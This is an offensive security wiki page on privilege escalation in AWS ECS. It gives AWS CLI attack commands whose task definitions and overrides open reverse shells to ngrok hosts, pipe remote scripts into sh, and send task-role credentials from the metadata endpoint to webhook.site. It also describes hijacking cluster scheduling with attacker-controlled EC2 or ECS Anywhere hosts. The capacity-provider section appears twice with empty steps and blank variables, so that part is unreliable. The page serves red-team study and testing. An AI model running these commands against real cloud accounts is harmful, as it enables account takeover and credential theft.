# AWS - ECS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

More **info about ECS** in:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.

{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```

{{#endtab }}

{{#tab name="Webhook" }}

Create a webhook with a site like webhook.site 

```bash

# Create file container-definition.json
[
  {
    "name": "exfil_creds",
    "image": "python:latest",
    "entryPoint": ["sh", "-c"],
    "command": [
      "CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
    ]
  }
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
  --family iam_exfiltration \
  --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
  --network-mode "awsvpc" \
  --cpu 256 \
  --memory 512 \
  --requires-compatibilities FARGATE \
  --container-definitions file://container-definition.json
  
# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

```
{{#endtab }}

{{#endtabs }}

**Potential Impact:** Direct privesc to a different ECS role.

### `iam:PassRole`,`ecs:RunTask`
An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values.  The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.

The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.  

Also, the attacker needs to know:
- ECS cluster name 
- VPC Subnet
- Security group (If no security group is specified the default one will be used) 
- Task Definition Name and revision
- Name of the Container 

```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": <container-name>,
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
    }
  ]
}'
```

In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.

If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.

```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
  "taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
  "containerOverrides": [
    {
      "name": "<container-name>",
      "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
        }
  ]
}'
```

**Potential Impact:** Direct privesc to any ECS task role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
However, in this case, a container instance to run the malicious task definition need to be.

```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
    --container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```

**Potential Impact:** Direct privesc to any ECS role.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.**

```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn  "$ECS_ROLE_ARN" \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
    --task-definition iam_exfiltration \
    --desired-count 1 \
    --cluster "$CLUSTER_ARN" \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
    --service <SERVICE NAME> \
    --task-definition <NEW TASK DEFINITION NAME>
```

**Potential Impact:** Direct privesc to any ECS role.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:

```bash
aws ecs run-task \
    --task-definition "<task-name>" \
    --overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
    --cluster <cluster-name> \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```

**Potential Impact:** Direct privesc to any ECS role.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).

> [!WARNING]
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.

```bash
printf '[
    {
        "name":"exfil_creds",
        "image":"python:latest",
        "entryPoint":["sh", "-c"],
        "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
        "mountPoints": [
            {
                "readOnly": false,
                "containerPath": "/var/run/docker.sock",
                "sourceVolume": "docker-socket"
            }
        ]
    }
]' > /tmp/task.json

printf '[
    {
        "name": "docker-socket",
        "host": {
            "sourcePath": "/var/run/docker.sock"
        }
    }
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
    --cpu 256 --memory 512 \
    --requires-compatibilities '["EC2"]' \
    --container-definitions file:///tmp/task.json \
    --volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
    --launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```

### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't).

Therefore, the attacker cloud try to:

- **Try to run a command** in every running container

```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
   echo "Cluster $cluster"
   for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
      echo "  Task $task"
      # If true, it's your lucky day
      aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
   done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
   --command "sh" \
   --cluster "$CLUSTER_ARN" \
   --task "$TASK_ARN"
```

Once you have a shell inside the container, you can typically **extract the task role credentials** from the task credentials endpoint and reuse them outside the container:

```sh
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
```

- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`

You can find **examples of those options** in **previous ECS privesc sections**.

**Potential Impact:** Privesc to a different role attached to containers.

### `ssm:StartSession`

Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:

{{#ref}}
../aws-ssm-privesc/README.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:

{{#ref}}
../aws-ec2-privesc/README.md
{{#endref}}

### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

An attacker with these permissions can often **turn "cluster membership" into a security boundary bypass**:

- Register an **attacker-controlled EC2 instance** into a victim ECS cluster (becoming a container instance)
- Set custom **container instance attributes** to satisfy **placement constraints**
- Let ECS schedule tasks onto that host
- Steal **task role credentials** (and any secrets/data inside the container) from the task running on your host

High-level workflow:

1) Obtain an EC2 instance identity document + signature from an EC2 instance you control in the target account (for example via SSM/SSH):

```bash
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
```

2) Register it into the target cluster, optionally setting attributes to satisfy placement constraints:

```bash
aws ecs register-container-instance \
  --cluster "$CLUSTER" \
  --instance-identity-document file://iidoc.json \
  --instance-identity-document-signature "$(cat iisig)" \
  --attributes name=labtarget,value=hijack
```

3) Confirm it joined:

```bash
aws ecs list-container-instances --cluster "$CLUSTER"
```

4) Start a task / update a service so something schedules on the instance, then harvest task role creds from inside the task:

```bash
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
```

Notes:

- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account "bring your own EC2", see the **ECS Anywhere** technique in this page.
- Placement constraints commonly rely on container instance attributes. Enumerate them via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, and `ecs:DescribeContainerInstances` to know which attributes you need to set.


### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO: Test this

An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.

```bash
# Register a task definition with a reverse shell
echo '{
  "family": "malicious-task",
  "containerDefinitions": [
    {
      "name": "malicious-container",
      "image": "alpine",
      "command": [
        "sh",
        "-c",
        "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
      ]
    }
  ]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```

**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.

## References

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)







### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Commands (us-east-1):

- Prereqs



- Create Launch Template for ECS agent to join target cluster



- Create Auto Scaling Group



- Create Capacity Provider from the ASG



- Associate the Capacity Provider to the cluster (optionally as default)



- Migrate a service to your provider



- Verify tasks land on attacker instances



- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

- Cleanup



**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.


<details>
<summary>Step-by-step commands (copy/paste)</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62
SUBNETS=

AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=

ASG_ARN=

CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=
# Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
</pre>
</details>

### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abuse ECS Anywhere to register an attacker-controlled host as an EXTERNAL container instance in a victim ECS cluster and run tasks on that host using privileged task and execution roles. This grants OS-level control over where tasks run (your own machine) and allows credential/data theft from tasks and attached volumes without touching capacity providers or ASGs.

- Required perms (example minimal):
  - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
  - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
  - iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
  - logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.

Steps

1) Create/identify cluster (us-east-1)

```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```

2) Create ECS Anywhere role and SSM activation (for on-prem/EXTERNAL instance)

```bash
aws iam create-role --role-name ecsAnywhereRole \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```

3) Provision attacker host and auto-register it as EXTERNAL (example: small AL2 EC2 as “on‑prem”)

<details>
<summary>user-data.sh</summary>

```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```

</details>

```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
  --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```

4) Verify EXTERNAL container instance joined

```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
  --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```

5) Create task/execution roles, register EXTERNAL task definition, and run it on the attacker host

```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
  "family": "ht-external",
  "requiresCompatibilities": [ "EXTERNAL" ],
  "networkMode": "bridge",
  "memory": "256",
  "cpu": "128",
  "executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
  "taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
  "containerDefinitions": [
    {"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
     "entryPoint":["/bin/sh","-c"],
     "command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
     "memory": 128,
     "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
    }
  ]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
  --container-instances $CI
```

6) From here you control the host that runs the tasks. You can read task logs (if awslogs) or directly exec on the host to exfiltrate credentials/data from your tasks.



#### Command example (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials.

Commands (us-east-1):

- Prereqs



- Create Launch Template for ECS agent to join target cluster



- Create Auto Scaling Group



- Create Capacity Provider from the ASG



- Associate the Capacity Provider to the cluster (optionally as default)



- Migrate a service to your provider



- Verify tasks land on attacker instances



- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

- Cleanup



**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}
